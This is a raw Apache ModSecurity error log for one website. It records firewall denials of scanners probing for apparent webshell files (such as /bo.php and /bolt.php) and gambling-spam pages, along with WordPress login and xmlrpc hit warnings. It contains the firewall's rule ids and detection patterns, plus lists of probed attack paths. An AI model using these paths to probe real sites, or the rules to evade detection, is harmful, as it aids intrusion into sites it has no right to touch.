[Tue Mar 24 23:46:29.799908 2026] [:error] [pid 3030:tid 3070] [client 4.223.157.92:4020] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "acKx1QyOuILyynfcqfl0SwAAABU"]
[Tue Mar 24 23:46:30.423172 2026] [:error] [pid 48214:tid 48267] [client 4.223.157.92:4029] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "acKx1reshLWZ3uUDHKmNGAAAAc8"]
[Tue Mar 24 23:46:30.952284 2026] [:error] [pid 48219:tid 48287] [client 4.223.157.92:4023] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "acKx1ihf3b4R_lAIyv-qHAAAAgY"]
[Tue Mar 24 23:46:31.483298 2026] [:error] [pid 48214:tid 48262] [client 4.223.157.92:3960] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "acKx17eshLWZ3uUDHKmNHQAAAco"]
[Tue Mar 24 23:46:32.024756 2026] [:error] [pid 38767:tid 38790] [client 4.223.157.92:3942] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/56c53.php"] [unique_id "acKx2PwkUqN4GJAI5oWFSwAAARQ"]
[Tue Mar 24 23:46:32.574086 2026] [:error] [pid 64198:tid 64216] [client 4.223.157.92:3932] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "acKx2HVzJqf6OS_oSZ327QAAAVA"]
[Tue Mar 24 23:46:50.443784 2026] [:error] [pid 48214:tid 48257] [client 4.223.157.92:3864] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acKx6reshLWZ3uUDHKmNRQAAAcU"]
[Tue Mar 24 23:46:51.058780 2026] [:error] [pid 3137:tid 3147] [client 4.223.157.92:3941] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acKx65dZesutm6dfYM92TAAAAMg"]
[Tue Mar 24 23:46:51.599504 2026] [:error] [pid 3031:tid 3085] [client 4.223.157.92:3979] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acKx66JBKytnG47nuiZHwQAAAEk"]
[Tue Mar 24 23:46:52.166401 2026] [:error] [pid 38767:tid 38776] [client 4.223.157.92:3812] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acKx7PwkUqN4GJAI5oWFowAAAQY"]
[Tue Mar 24 23:46:52.727922 2026] [:error] [pid 38767:tid 38786] [client 4.223.157.92:3789] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "acKx7PwkUqN4GJAI5oWFqAAAARA"]
[Tue Mar 24 23:46:53.369726 2026] [:error] [pid 48214:tid 48270] [client 4.223.157.92:3957] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "acKx7beshLWZ3uUDHKmNSgAAAdI"]
[Tue Mar 24 23:46:53.919809 2026] [:error] [pid 48128:tid 48172] [client 4.223.157.92:3791] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "acKx7cvR4LIMFLbM5VlLiQAAAZM"]
[Tue Mar 24 23:46:54.467922 2026] [:error] [pid 48214:tid 48259] [client 4.223.157.92:3846] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "acKx7reshLWZ3uUDHKmNTgAAAcc"]
[Tue Mar 24 23:46:54.995853 2026] [:error] [pid 48219:tid 48305] [client 4.223.157.92:4046] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acKx7ihf3b4R_lAIyv-qMQAAAhg"]
[Tue Mar 24 23:46:55.521091 2026] [:error] [pid 48214:tid 48269] [client 4.223.157.92:3944] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acKx77eshLWZ3uUDHKmNXAAAAdE"]
[Tue Mar 24 23:46:56.130927 2026] [:error] [pid 38767:tid 38784] [client 4.223.157.92:3904] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acKx8PwkUqN4GJAI5oWFvgAAAQ4"]
[Tue Mar 24 23:46:56.658425 2026] [:error] [pid 38767:tid 38786] [client 4.223.157.92:3840] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acKx8PwkUqN4GJAI5oWFwgAAARA"]
[Wed Mar 25 00:41:36.185846 2026] [:error] [pid 58154:tid 58178] [client 185.194.178.63:28671] [client 185.194.178.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.63, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acK-wA0pGUh6bwD3ouJ_fwAAANU"]
[Wed Mar 25 01:14:50.902834 2026] [:error] [pid 57702:tid 57926] [client 45.156.87.11:56809] [client 45.156.87.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.11, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acLGiqS8TU_xcQFvlnYD2AAAABc"]
[Wed Mar 25 01:38:09.947967 2026] [autoindex:error] [pid 20371:tid 20393] [client 20.17.160.49:61038] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 25 02:12:28.913945 2026] [:error] [pid 57702:tid 57907] [client 216.73.216.20:11959] [client 216.73.216.20] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "acLUDKS8TU_xcQFvlnYVmwAAAAQ"]
[Wed Mar 25 04:21:16.179066 2026] [:error] [pid 892:tid 901] [client 170.106.37.134:58710] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acLyPCT_G8WMU3T3yxoDqwAAAMQ"]
[Wed Mar 25 05:14:29.463172 2026] [:error] [pid 47989:tid 48000] [client 78.182.92.49:56432] [client 78.182.92.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.182.92.49, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acL-tSWKdJMhIccROjlT1wAAAUk"]
[Wed Mar 25 05:22:25.914321 2026] [:error] [pid 47946:tid 47956] [client 43.153.119.119:43106] [client 43.153.119.119] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acMAkTipQTqBMSeKYhfjQgAAAQg"]
[Wed Mar 25 05:26:02.901985 2026] [:error] [pid 755:tid 822] [client 217.182.194.25:42514] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acMBaqS6bdaeEwgCGwoyEQAAAEc"]
[Wed Mar 25 05:26:05.499922 2026] [:error] [pid 892:tid 896] [client 217.182.194.25:52010] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acMBbST_G8WMU3T3yxoqBwAAAMI"]
[Wed Mar 25 05:26:08.134909 2026] [:error] [pid 47946:tid 47958] [client 217.182.194.25:60172] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acMBcDipQTqBMSeKYhflKwAAAQo"]
[Wed Mar 25 05:26:10.752932 2026] [:error] [pid 892:tid 914] [client 217.182.194.25:60182] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acMBciT_G8WMU3T3yxoqFAAAANA"]
[Wed Mar 25 05:26:13.308950 2026] [:error] [pid 892:tid 895] [client 217.182.194.25:60194] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acMBdST_G8WMU3T3yxoqGgAAAME"]
[Wed Mar 25 05:26:15.742922 2026] [:error] [pid 892:tid 896] [client 217.182.194.25:60198] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acMBdyT_G8WMU3T3yxoqHwAAAMI"]
[Wed Mar 25 05:26:18.500008 2026] [:error] [pid 47946:tid 47960] [client 217.182.194.25:57734] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acMBejipQTqBMSeKYhflSQAAAQw"]
[Wed Mar 25 05:26:21.032609 2026] [:error] [pid 47989:tid 48011] [client 217.182.194.25:57748] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acMBfSWKdJMhIccROjlb1wAAAVQ"]
[Wed Mar 25 05:26:23.587016 2026] [:error] [pid 754:tid 785] [client 217.182.194.25:57752] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acMBfzisL3asPbA3Cti2ZgAAABQ"]
[Wed Mar 25 05:26:26.386220 2026] [:error] [pid 756:tid 861] [client 217.182.194.25:57768] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acMBgjOaW6oylMIDBCR34QAAAIk"]
[Wed Mar 25 05:26:28.898561 2026] [:error] [pid 47989:tid 48015] [client 217.182.194.25:44544] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acMBhCWKdJMhIccROjlb6QAAAVg"]
[Wed Mar 25 05:26:31.432039 2026] [:error] [pid 47946:tid 47957] [client 217.182.194.25:44554] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acMBhzipQTqBMSeKYhflYQAAAQk"]
[Wed Mar 25 05:26:33.815572 2026] [:error] [pid 755:tid 843] [client 217.182.194.25:44556] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acMBiaS6bdaeEwgCGwoyLgAAAFQ"]
[Wed Mar 25 05:26:36.610132 2026] [:error] [pid 754:tid 787] [client 217.182.194.25:44570] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acMBjDisL3asPbA3Cti2dQAAABY"]
[Wed Mar 25 05:26:39.314532 2026] [:error] [pid 47989:tid 47996] [client 217.182.194.25:40248] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acMBjyWKdJMhIccROjlb-AAAAUU"]
[Wed Mar 25 05:26:42.161695 2026] [:error] [pid 756:tid 876] [client 217.182.194.25:40258] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acMBkjOaW6oylMIDBCR3_QAAAJg"]
[Wed Mar 25 05:26:44.756883 2026] [:error] [pid 47946:tid 47950] [client 217.182.194.25:40268] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acMBlDipQTqBMSeKYhflcgAAAQI"]
[Wed Mar 25 05:26:45.720001 2026] [:error] [pid 756:tid 872] [client 217.182.194.25:40278] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "acMBlTOaW6oylMIDBCR4BwAAAJQ"]
[Wed Mar 25 05:26:47.433407 2026] [:error] [pid 756:tid 876] [client 217.182.194.25:40282] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acMBlzOaW6oylMIDBCR4CgAAAJg"]
[Wed Mar 25 05:26:49.956378 2026] [:error] [pid 892:tid 894] [client 217.182.194.25:41258] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acMBmST_G8WMU3T3yxoqPAAAAMA"]
[Wed Mar 25 05:26:50.521107 2026] [:error] [pid 756:tid 875] [client 217.182.194.25:41274] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "acMBmjOaW6oylMIDBCR4DwAAAJc"]
[Wed Mar 25 05:26:52.603621 2026] [:error] [pid 892:tid 901] [client 217.182.194.25:41282] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acMBnCT_G8WMU3T3yxoqPwAAAMQ"]
[Wed Mar 25 05:26:55.292955 2026] [:error] [pid 47946:tid 47962] [client 217.182.194.25:41290] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acMBnzipQTqBMSeKYhflgQAAAQ4"]
[Wed Mar 25 05:26:58.362149 2026] [:error] [pid 892:tid 896] [client 217.182.194.25:48350] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acMBoiT_G8WMU3T3yxoqSQAAAMI"]
[Wed Mar 25 05:27:00.933509 2026] [:error] [pid 47946:tid 47964] [client 217.182.194.25:48366] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acMBpDipQTqBMSeKYhfljAAAARA"]
[Wed Mar 25 05:27:26.145766 2026] [:error] [pid 892:tid 913] [client 217.182.194.25:48380] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acMBviT_G8WMU3T3yxoqeAAAAM8"]
[Wed Mar 25 05:27:28.997705 2026] [:error] [pid 47946:tid 47963] [client 217.182.194.25:38216] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acMBwDipQTqBMSeKYhfl3QAAAQ8"]
[Wed Mar 25 05:27:32.047625 2026] [:error] [pid 47946:tid 47970] [client 217.182.194.25:38222] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acMBxDipQTqBMSeKYhfl4gAAARY"]
[Wed Mar 25 05:27:34.494846 2026] [:error] [pid 47989:tid 48008] [client 217.182.194.25:38226] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acMBxiWKdJMhIccROjlccQAAAVE"]
[Wed Mar 25 05:27:37.031500 2026] [:error] [pid 47946:tid 47960] [client 217.182.194.25:38230] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acMByTipQTqBMSeKYhfl8AAAAQw"]
